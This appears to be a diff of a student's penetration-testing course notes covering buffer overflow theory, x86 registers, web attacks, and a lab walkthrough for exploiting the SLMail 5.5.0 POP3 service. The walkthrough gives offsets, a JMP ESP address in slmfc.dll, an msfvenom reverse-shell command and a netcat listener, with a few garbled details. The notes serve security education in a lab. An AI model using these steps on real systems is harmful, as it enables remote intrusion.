vault backup: 2025-01-30 09:27:31

Penetration Testing/Assessment/.~lock.Penetration Testing Assignment 1 Stage 1 00677611.docx#

@@ -1 +0,0 @@
-,boris,boris-ThinkPad-T480,01.11.2024 14:15,file:///home/boris/.config/libreoffice/4;

Penetration Testing/Week 15/Week 15 - Buffer Overflow.md

@@ -0,0 +1,64 @@
+# What is Buffer Overflow
+
+- Buffer is a sequential allocated for anything from strings to integers
+- Buffer overflow is when more data is trying to be stored than what is allocated
+- Writing outside the bounds of a block can crash an application, corrupt data, or cause the ability to execute malicious code remotely
+- Languages such as Java provide automatic checking of buffer bounds, however C does not.
+
+# How Are Overflow Bugs Found?
+
+If source code is available:
+
+- Source code audit / review
+
+If source code not available:
+
+- Reverse engineering
+- Fuzzing
+- Interactive debugger
+- Patience
+
+# X86 Architecture
+
+- CU gets instructions executed from RAM via Instruction Pointer (EP)
+- ALU executes instructions fetched from RAM by CU and stores results in Registers
+- Registers are the CPU's basic storage data units used to save time and needless RAM access.
+
+## Registers
+
+- EAX – Accumulator (stores function return values and used by addition and multiplication)
+- EBX - Base pointer to the data section
+- ECX - Counter for string and loop operations
+- EDX - I/O pointer
+- ESI - Source pointer for string operations
+- EDI - Destination pointer for string operations
+- ESP - Stack pointer (last item on the stack)
+- EBP - Stack frame base pointer and reference to arguments and local variables
+- EIP - Pointer to the next instruction to execute (“instruction pointer”)
+### Segment Registers
+- CS : Holds the address to the Code segment of the program  
+- DS : Holds the address to the Data segment of the program  
+- SS : Holds the address to the Stack segment of the program  
+- ES,FS,GS : Hold the address to the extra segments
+
+### Flags
+- Zero Flag (ZF) - Set if the result of some instruction is zero; cleared otherwise.  
+- Sign Flag (SF) - Set equal to the most-significant bit of the result, which is the sign bit of a signed integer. (0 indicates a positive value and 1 indicates a negative value)  
+- Carry Flag (CF): Set if an arithmetic operation generate a carry or a borrow out of the most significant bit of the result, cleared otherwise  
+- Parity Flag (PF): Set if the least-significant byte of the result contains an even number of 1 bit, cleared otherwise.  
+- Overflow Flag (OF): Set if the integer result is too large a positive number or too small a negative number, excluding the sign bit, to fit in the destination operand, cleared otherwise. This flag indicates an overflow condition for signed-integer that is two’s complement arithmetic.
+
+- ![](Pasted%20image%2020250116093127.png)
+
+### Push / Pop
+PUSH src  
+- src operand can be a register or immediate  
+- In a DWORD scenario, the PUSH instruction automatically decrements the stack pointer by 4, i.e., sp <- sp-4  
+POP src
+- Src operand can be a register  
+- In a DWORD scenario, the POP instruction automatically takes a DWORD off the stack, puts in a register and increments the stack pointer by 4, i.e., sp <- sp+4
+
+#### Examples of PUSH / POP
+![](Pasted%20image%2020250116093226.png)
+![](Pasted%20image%2020250116093312.png)
+

Penetration Testing/Week 19/AI Summary.md

@@ -0,0 +1,53 @@
+1. **Introduction**
+    
+    - Definition and reminder of key concepts from the previous week:
+        - Buffer Overflow: A process using more memory than it has been allocated.
+        - The Stack: Last-In-First-Out (LIFO) data structure where CPU registers can be stored and retrieved.
+        - ESP (Extended Stack Pointer): Points to the top of the stack at a lower memory location.
+        - EIP (Extended Instruction Pointer): Stores the address of the next instruction to be executed.
+2. **Fuzzing**
+    
+    - Fuzzing involves sending malformed data into an application input and watching for unexpected crashes.
+    - It helps discover vulnerabilities by sending varying lengths of data to identify buffer overflow conditions.
+    - Fuzzing tools and resources: FuzzDB (https://github.com/fuzzdb-project/fuzzdb).
+3. **Fuzzing Example: SLMail 5.5.0 Mail Server**
+    
+    - Installed the vulnerable SLMail application.
+    - Used a Python fuzzer script (`fuzzer.py`) from Kali Linux to send varying-length passwords to the POP3 server.
+    - Employed Immunity Debugger to monitor the SLMail process and observe the stack overwrites.
+4. **Controlling EIP (Extended Instruction Pointer)**
+    
+    - Sent a unique, non-repeating string of 2900 bytes to identify the specific characters that overwrite the EIP register.
+    - Used Metasploit’s `pattern_create.rb` and `pattern_offset.rb` scripts to find the exact position of the overwritten EIP.
+    - Modified the buffer in the Python exploit script to control the EIP register: `buffer = "A" * 2606 + "B" * 4 + "C" * 90`.
+5. **Find Space in Memory for Shellcode**
+    
+    - Dumped the memory at the time of the crash to identify a suitable location for placing shellcode.
+    - Used Metasploit’s `msfvenom` tool to generate a payload for a reverse shell, ensuring it excluded bad characters identified earlier.
+    - Increased the length of the buffer to accommodate the generated shellcode.
+6. **The Problem of Bad Characters**
+    
+    - Identified bad characters (e.g., null byte `0x00`, newline `\n` `0x0A`, carriage return `\r` `0x0D`) that could truncate the shellcode or cause other issues.
+    - Sent all possible characters (0x00 to 0xff) as part of the buffer and observed how they were dealt with by the application after the crash.
+7. **Generating the Shellcode Payload**
+    
+    - Used Metasploit’s `msfvenom` tool to generate a shellcode payload with excluded bad characters.
+    - Included the generated shellcode payload into the Python exploit script.
+8. **Redirecting the Execution Flow**
+    
+    - Searched for a “JMP ESP” instruction or the two-instruction sequence “PUSH ESP; RET” within SLMail’s modules using Immunity Debugger and Mona.py script.
+    - Found a suitable JMP ESP instruction at address `5F4A358F` in the SLMFC.DLL module.
+    - Replaced the overwritten EIP ("B"s) with the discovered JMP ESP address in the exploit script.
+9. **NOP Sled**
+    
+    - Added a sequence of No Operation (NOP) instructions (`0x90`) at the beginning of the shellcode to create a “NOP sled.”
+    - This allowed for some flexibility in transferring execution to the shellcode without precisely controlling branching.
+10. **Getting a Shell**
+    
+    - Set up a netcat (nc) listener on the attacker machine to receive incoming connections from the exploited target.
+    - Ran the exploit script against the SLMail application, and upon successful exploitation, obtained a shell on the target machine.
+11. **Assignment Task 1**
+    
+    - Students were tasked to develop a working exploit for the `VulnNewApp.exe` application using the provided proof-of-concept script (`vulnapp_POC_script.txt`) and document their process in a report, including screenshots of each step.
+
+Throughout the lecture slides, the document emphasizes hands-on learning and practical exercises using tools like Kali Linux, Immunity Debugger, Metasploit Framework, and Python scripting. It covers essential concepts in exploit development, buffer overflows, and fuzzing to help students understand and apply these techniques in network penetration testing.

Penetration Testing/Week 19/Steps to Complete Workshop 2.md

@@ -0,0 +1,50 @@
+1. **Prepare Parrot OS and Windows 7 VM:**
+    - Start your UTM instance with both Parrot OS (NAT mode) and Windows 7 VMs active.
+    - Switch Parrot OS to "Host-only network" mode and note down its IP address.
+    - Ensure you can ping Windows 7 VM from Parrot OS.
+2. **Download required files:**
+    - Download the "Scripts.zip" file from Blackboard (T2, Week 2) on your Parrot OS.
+    - Extract the contents of "Scripts.zip" to a convenient location, e.g., `/opt/exploit-dev/scripts/`.
+3. **Run SLmail and Immunity Debugger (ID):**
+    - Start SLmail on Windows 7 VM.
+    - Run Immunity Debugger as an administrator. To make the font more legible, right-click on the black area > appearance > font > OEM.
+4. **Attach SLmail to ID:**
+    - In Immunity Debugger, go to `File > Attach...`, select the SLmail process, and click 'Open'.
+    - Set the debugger to "Running" state by clicking on the "Running" button in the toolbar.
+5. **Run the fuzzer:**
+    - Open a terminal on Parrot OS and navigate to the scripts directory.
+    - Run `python fuzzer.py <Windows 7 VM IP address> 49500` (SLmail's default port is 49500) to start fuzzing the application.
+    - The goal is to Crash SLmail by sending random data.
+6. **Generate unique 4-byte patterns:**
+    - Run `ruby pattern_create.rb <length>` (e.g., `ruby pattern_create.rb 100`) to generate a unique 4-byte pattern that will help in identifying the crash location.
+7. **Find the starting offset:**
+    - Send the generated pattern to SLmail using the fuzzer and observe where it crashes. The offset is the number of bytes before the crash location.
+    - Use `python pattern_offset.rb <crash_location>` to calculate and confirm the offset.
+8. **Verify the offset:**
+    - Send a crafted payload with the correct EIP overwritten to ensure that our previous steps were accurate.
+    - Use `python sendshell.py <Windows 7 VM IP address> 49500 "<EIP>" "stupid string"` to send the crafted payload.
+9. **Check for space in the stack:**
+    - Send approximately 800 bytes after the EIP location to verify there's enough space for our payload.
+    - Use `ruby space.rb <offset> 800` to check the available space.
+10. **Find bad characters:**
+    - Identify byte values that cause the application to behave unexpectedly (e.g., crash or exhibit unexpected behavior).
+    - Use `ruby badchars.rb <Windows 7 VM IP address> 49500 <offset>` to find and list bad characters.
+11. **Create shellcode:**
+    - Use msfvenom to create a payload (shellcode) with the appropriate architecture and privileges, excluding the bad characters identified earlier.
+    - Run `msfvenom -p windows/shell_reverse_tcp LHOST=<Parrot OS IP address> LPORT=443 -a x86 --bad-chars=<bad_characters> -f raw` to generate the shellcode.
+12. **Identify DLL without memory protections:**
+    - Use `!mona modules` in Immunity Debugger to identify DLLs without memory protections.
+    - Our target is `slmfc.dll`.
+13. **Find JMP ESP address:**
+    - Use nasm_shell to get opcodes for JMP ESP (FF E4).
+    - Run `nasm_shell> ff e4` to get the opcodes.
+    - Use `!mona find -s "\xff\xe4" -m slmfc.dll` to search for the FF E4 opcode in slmfc.dll and choose an address (e.g., `0x5f4a358f`) as the new EIP.
+14. **Prepare exploit script:**
+    - Replace `Bs` in the exploit script (e.g., `exploit.rb`) with the address chosen earlier.
+    - Add a NOP sled (e.g., `\x90` _16_) before the JMP ESP address to account for any slight miscalculations or fluctuations in memory layout.
+    - The exploit script should look something like this: `"\x90" * 16 + "\xff\x\xe4" + "\xbe\xxx\xxxx\xxx\xxx"`. Replace `Bs` with the chosen address.
+15. **Start netcat listener:**
+    - On Parrot OS, run `nc -lvp 443` to start a netcat listener on port 443.
+16. **Run exploit:**
+    - Execute the prepared exploit script with `ruby exploit.rb <Windows 7 VM IP address> 49500`.
+    - Once the exploit triggers, you should get a shell on the Windows 7 VM.

Penetration Testing/Week 19/Week 19 - Buffer Overflow.md

@@ -0,0 +1,67 @@
+Buffer Overflow = using more memory than allocated
+Stack = LIFO structure where CPU registers are stored at and retrieved from
+	ESP register points to top of stack
+	EIP register useful to store when doing CALL command
+		Address of next instruction to be executed and stored.
+Can inject malicious code using buffer overflow
+
+# Fuzzing
+- Sending malformed data into application input and watching for unexpected crashes. Unexpected crash indicated application might not filter certain input correctly. 
+
+- To develop an exploit for application X on OS Y, 
+	- X, Y and debugger needed on same VM
+	- Another VM to fuzz the target VM
+- Cant do remotely on running server (though if developed correctly, exploit should work on any instance of application X running on OS Y)
+
+## SLMail
+Using a python script, we can repeatedly connect to the POP3 server, attempting to send varying length growing buffer to the password field each time
+Unauthenticated user can attempt to login providing a long password.
+
+Using Immunity Debugger, attaching the SLMail process, and running the debugger before the script, then running the script, we can see the fuzzer sends larger and larger passwords to the POP3 server.
+This is about 2900 bytes long when ID pauses and can see the stack has been overwritten by user input.
+The EIP register has been overwritten with opur input buffer of A's (\\x41)
+As EIP register controls execution flow of application, if we make our exploit buffer carefully, could divert execution of the program to a place in memory where reverse shell code can be introduced in memory.
+
+## Controlling EIP
+- Getting control of the EIP register is an important part of exploit development
+- Need to find out which A characters ended up in the EIP and identify the location of 4 unique bytes that overwrite the EIP Register.
+- Can send 2900 bytes of unique non-repeating characters.
+- User pattern_create.rb script in Kali to generate such a string:
+- `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900`
+
+- Using this unique stream of characters, instead of our 2900 A's into our python script, check EIP overwrite in debugger.
+- Note ESP and EIP register values in next crash
+- EIP has been replaced by the 39694438 hex characters, equivalent to 8Dj9
+
+- We need to find exact position of these characters.
+- Can now use the pattern_offset.rb script along with the create script to discover the offset of these specific 4 bytes in our unique byte string.
+- `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2900 -q 39694438`
+
+- Sending this new buffer to SLMail POP3 server produces a crash in the debugger.
+- Check ESP and EIP registers
+- This time ESP has different value to first crash
+- EIP register cleanly overwritten by B's (42424242H), showing that we can now control the EIP of the SLMail application.
+- How to direct execution flow?
+	- Would like to include our own shell code inside buffer and redirect program flow to execute our shell code.
+
+### Find Space in memory for Shell Code
+- By dumping memory at time of crash, ESP register points directly to beginning of our buffer of C's. Seems like a convenient location to place shellcode as easily accessible through EIP register.
+- Metasploit framework can automatically generate shellcode payloads, standard Reverse Shell payload requires around 350-400 bytes of space.
+- Need to increase length of buffer to make room for reverse shell.
+- buffer = A * 2606 + B * 4 + C * (3500-2606-4)
+- Then test this still overwrites EIP
+
+### Bad Characters
+
+- Now enough space, can use shell code generator from metasploit to generate payload. Generated shell code might have many different hex characters that might effect execution of shell code.
+- Depending on application, vuln type, and protocols, there may be certain characters that are considered bad and should not be used in our buffer, return address or shell code.
+	- Common example is null (0x00). Characters truncate shellcode in memory
+- Easy way to check this is sending all possible characters, from 0x00 to 0xff as a part of our buffer and see how these characters are dealt with by the application after the crash occurs.
+
+- A file containing all the possible hex characters can be found on Blackboard.
+- When including these in python exploit code, we will see the characters that get truncated in Immunity Debugger
+- One observation is that resulting memory dump for the ESP register shows that the character 0x0A seems to have truncated the rest of the buffer than comes after it.
+
+### Generating Shellcode Payload
+
+- Metasplot Framework provides us with tools and utilities that make generating complex payloads a simple task.

Penetration Testing/Week 20/Week 20 - Web Attacks.md

@@ -0,0 +1,79 @@
+Subtopics: Malicious Software, Attacks on Web Applications, Secure System Development
+
+# How Computers Get Compromised:
+
+  - Accessing malicious or infected websites
+  - Downloading and installing malware from websites
+  - Executing attachments to emails containing exploits and malware
+  - Plugging in external devices infected with malware
+  - Installing malware/infected software from media
+  - Direct attacks from the internet exploiting vulnerabilities in OS or applications
+  - Through delivery chain, during assembly or shipment
+
+## Malware Types:
+
+  - Backdoor/Trapdoor
+  - Logic bomb
+  - Trojan horse
+  - Worm
+  - Virus (polymorphic, metamorphic)
+  - Stealth virus
+  - Exploit
+
+## Exploits:
+
+  - Exploit software/hardware vulnerability
+  - Carried in common data formats like PDF, office documents, media files
+  - Contains corrupt data types
+  - Causes unintended behavior on computers
+
+## Backdoor/Trapdoor:
+
+  - Provides remote control capabilities
+  - Can reside on the system for long periods before being used
+  - Installed by exploit or user (tricked into installing malicious program)
+  - Can be installed during design for testing purposes, posing a threat if left in production software
+
+# The Cyber Kill Chain (Hutchins Et Al., 2011):
+
+  - Reconnaissance, Weaponisation, Delivery, Exploitation, Installation, Command & Control (C&C), Action/Exfiltration
+  - Timescale for each phase varies from days, months, hours to seconds.
+	  - Recon; Weaponisation; Delivery; Exploitation; Installation; Command & Control; Action/Exfil
+
+## Web Application Security Challenge:
+
+  - Firewall, App Server, Web Server, Hardened OS, Databases, Legacy Systems, Web Services, Directories, Human Resources, Billing, Custom-Developed Application Code
+  - Network layer and application layer security are crucial
+
+# Application Attacks
+
+- Application attacks bypass traditional network security measures like firewalls
+
+## SQL (Structured Query Language):
+
+  - Interface to relational databases
+  - Used for inserting, updating, deleting, and retrieving data in a database
+
+### SQL Injection:
+
+  - Databases system misinterpretation of input data
+  - Attacker disguises SQL commands as data input
+  - Vulnerability exists when web application fails to sanitise data input before sending it to the database
+  - Preventing SQL Injection and XSS: Validate all user-entered parameters, escape questionable characters, hide information about error handling
+
+## Broken Authentication and Session Management:
+
+  - User authentication does not necessarily provide continuous assurance
+  - Insecure implementation of session control with a static session ID passed in the URL
+  - Recommendations for session IDs (OWASP)
+
+## OWASP Top-10 Web Application Risks (as of 2017):
+
+  - Injection, Broken Authentication, Sensitive Data Exposure, XML External Entity (XXE), Security Misconfiguration, Cross-Site Scripting (XSS), Insecure Deserialization, Using Components with Known Vulnerabilities, Insufficient Logging & Monitoring, Underprotected APIs
+
+## Waterfall SDLC vs. Agile Software Development vs. Secure Agile:
+
+  - Waterfall SDLC: Sequential phases (Design, Requirements, Implementation, Verification, Maintenance)
+  - Agile Software Development: Iterative sprint cycles based on user stories
+  - Secure Agile: Includes additional security steps during project startup, each sprint cycle, and final test and validation
+  - Threat modeling in Secure Agile: Identify, analyze, and describe relevant threats using STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege)